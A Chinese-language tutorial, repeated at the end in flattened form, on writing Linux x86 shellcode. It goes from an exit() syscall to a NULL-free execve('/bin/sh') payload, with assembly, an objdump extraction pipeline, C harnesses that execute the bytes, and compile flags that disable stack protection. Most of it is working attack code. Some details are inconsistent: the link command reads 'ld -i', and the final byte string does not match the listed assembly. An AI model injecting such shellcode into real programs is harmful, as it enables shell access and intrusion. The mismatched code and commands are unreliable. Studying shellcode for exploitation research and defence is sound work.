Linux下shellcode的编写
字数 1224 2025-08-25 22:59:03

Linux下Shellcode编写详解

1. Shellcode基础概念

Shellcode是一组可注入的指令,可以在被攻击的程序中运行。由于Shellcode需要直接操作寄存器和函数,所以必须以十六进制的形式存在。

为什么要编写Shellcode

  • 使目标程序以非预期方式运行
  • 通过系统调用直接访问系统内核
  • 绕过常规程序执行流程

2. Linux系统调用方法

在Linux中有两种执行系统调用的方法:

  1. 间接方法:通过C函数包装(libc)
  2. 直接方法:使用汇编指令(通过将参数加载到寄存器,然后调用int 0x80软中断)

3. 最简单的exit()系统调用示例

C语言示例

main() {
    exit(0);
}

编译命令(使用static选项防止动态链接):

gcc -static -o exit exit.c

反汇编分析

  • _exit+0行:将系统调用参数加载到ebx
  • _exit+4_exit+15行:将系统调用编号复制到eax
  • int 0x80指令:将CPU切换到内核模式并执行系统调用

4. 编写exit()的Shellcode

初始汇编代码

Section .text
global _start

_start:
    mov ebx, 0
    mov ax, 1
    int 0x80

编译和链接:

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

问题:NULL字节问题

初始Shellcode中包含NULL(\x00)字符,这在缓冲区溢出攻击中会导致问题,因为字符数组通常用NULL作为终止符。

优化方法

  1. 使用xor指令代替mov清零:

    xor ebx, ebx  ; 代替 mov ebx, 0
    
  2. 使用al寄存器避免自动填充NULL:

    mov al, 1     ; 代替 mov eax, 1
    

优化后的Shellcode

Section .text
global _start

_start:
    xor ebx, ebx
    mov al, 1
    int 0x80

测试代码

char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";

int main() {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}

5. 编写execve()的Shellcode

execve系统调用基础

  • 系统调用号:11
  • 功能:在当前进程空间执行其他程序
  • 参数:
    • filename:指向要执行的二进制文件路径的字符串(如"/bin/sh")
    • argv[]:参数列表(对于"/bin/sh",可以是['/bin/sh', 0])
    • envp[]:环境变量列表(可设为NULL)

编写步骤

  1. /bin/sh字符串压入栈(注意反向顺序和4字节对齐)

    • 使用//bin/sh(8字节)代替/bin/sh(7字节)
    • Python生成十六进制:hs/nib//
  2. 构建完整的Shellcode

完整汇编代码

Section .text
global _start

_start:
    ; 将0压入栈(字符串终止符)
    xor eax, eax
    push eax
    
    ; 将//bin/sh压入栈(反向顺序)
    push 0x68732f6e  ; hs/n
    push 0x69622f2f  ; ib//
    
    ; 设置ebx指向/bin/sh字符串
    mov ebx, esp
    
    ; 设置ecx指向参数数组[ebx, 0]
    push eax         ; NULL
    push ebx         ; 指向/bin/sh
    mov ecx, esp
    
    ; 设置edx为NULL(环境变量)
    mov edx, eax
    
    ; 设置系统调用号
    mov al, 0xb
    
    ; 执行系统调用
    int 0x80

Shellcode提取

使用以下命令提取Shellcode:

objdump -d ./execve-stack | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'

测试代码

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

main() {
    printf("Shellcode Length: %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}

编译命令(关闭保护机制):

gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

6. 关键注意事项

  1. NULL字节消除:确保Shellcode中不包含\x00字节
  2. 寄存器使用:合理使用寄存器,避免不必要的操作
  3. 字符串对齐:确保字符串按4字节对齐
  4. 参数构建:正确构建系统调用所需的参数结构
  5. 保护机制绕过:测试时需要关闭栈保护等安全机制

7. 参考链接

通过以上步骤,您可以编写出功能完整的Shellcode,从简单的exit()调用到复杂的execve()调用,实现系统控制等功能。

Linux下Shellcode编写详解 1. Shellcode基础概念 Shellcode是一组可注入的指令,可以在被攻击的程序中运行。由于Shellcode需要直接操作寄存器和函数,所以必须以十六进制的形式存在。 为什么要编写Shellcode 使目标程序以非预期方式运行 通过系统调用直接访问系统内核 绕过常规程序执行流程 2. Linux系统调用方法 在Linux中有两种执行系统调用的方法: 间接方法 :通过C函数包装(libc) 直接方法 :使用汇编指令(通过将参数加载到寄存器,然后调用 int 0x80 软中断) 3. 最简单的exit()系统调用示例 C语言示例 编译命令(使用static选项防止动态链接): 反汇编分析 _exit+0 行:将系统调用参数加载到ebx _exit+4 和 _exit+15 行:将系统调用编号复制到eax int 0x80 指令:将CPU切换到内核模式并执行系统调用 4. 编写exit()的Shellcode 初始汇编代码 编译和链接: 问题:NULL字节问题 初始Shellcode中包含NULL( \x00 )字符,这在缓冲区溢出攻击中会导致问题,因为字符数组通常用NULL作为终止符。 优化方法 使用 xor 指令代替 mov 清零: 使用al寄存器避免自动填充NULL: 优化后的Shellcode 测试代码 5. 编写execve()的Shellcode execve系统调用基础 系统调用号:11 功能:在当前进程空间执行其他程序 参数: filename:指向要执行的二进制文件路径的字符串(如"/bin/sh") argv[]:参数列表(对于"/bin/sh",可以是[ '/bin/sh', 0 ]) envp[ ]:环境变量列表(可设为NULL) 编写步骤 将 /bin/sh 字符串压入栈(注意反向顺序和4字节对齐) 使用 //bin/sh (8字节)代替 /bin/sh (7字节) Python生成十六进制: hs/nib// 构建完整的Shellcode 完整汇编代码 Shellcode提取 使用以下命令提取Shellcode: 测试代码 编译命令(关闭保护机制): 6. 关键注意事项 NULL字节消除 :确保Shellcode中不包含 \x00 字节 寄存器使用 :合理使用寄存器,避免不必要的操作 字符串对齐 :确保字符串按4字节对齐 参数构建 :正确构建系统调用所需的参数结构 保护机制绕过 :测试时需要关闭栈保护等安全机制 7. 参考链接 原文链接: Linux下shellcode的编写 - 先知社区 系统调用参考: /usr/include/asm/unistd.h execve手册页: man 2 execve 通过以上步骤,您可以编写出功能完整的Shellcode,从简单的exit()调用到复杂的execve()调用,实现系统控制等功能。